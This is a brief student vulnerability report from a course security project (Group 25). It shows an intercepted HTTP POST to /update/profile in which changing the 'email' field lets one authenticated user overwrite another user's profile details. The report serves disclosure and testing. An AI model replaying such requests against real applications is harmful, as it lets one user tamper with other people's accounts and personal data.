

# FCS Project - Security Vulnerabilities

## Group 25

Mihir Chaturvedi - 2019061

### 1. An authenticated user can edit any other user's profile details

By editing the `email` field, a user can change details for any other user with the email ID.

Request to http://192.168.3.46:5000

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex \n ≡

```
1 POST /update/profile HTTP/1.1
2 Host: 192.168.3.46:5000
3 Content-Length: 180
4 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7Il9pZ
  192IjowfSwiaWF0IjoxNjMzQyODgzLCJleHAiOjE2MzczNDM3ODN9.K1PiEhHIRbn0sl125ULh
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
6 Content-Type: application/json
7 Accept: */*
8 Origin: http://192.168.3.46:3000
9 Referer: http://192.168.3.46:3000/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
12 Connection: close
13
14 {
  "email": "mihir19061@iiitd.ac.in",
  "newemail": "mihir19061@iiitd.ac.in",
  "address": {
    "flat": "asd",
    "locality": "asd",
    "state": "asd",
    "pin": "111111",
    "district": "asd"
  },
  "mobile": "9999999991"
}
```

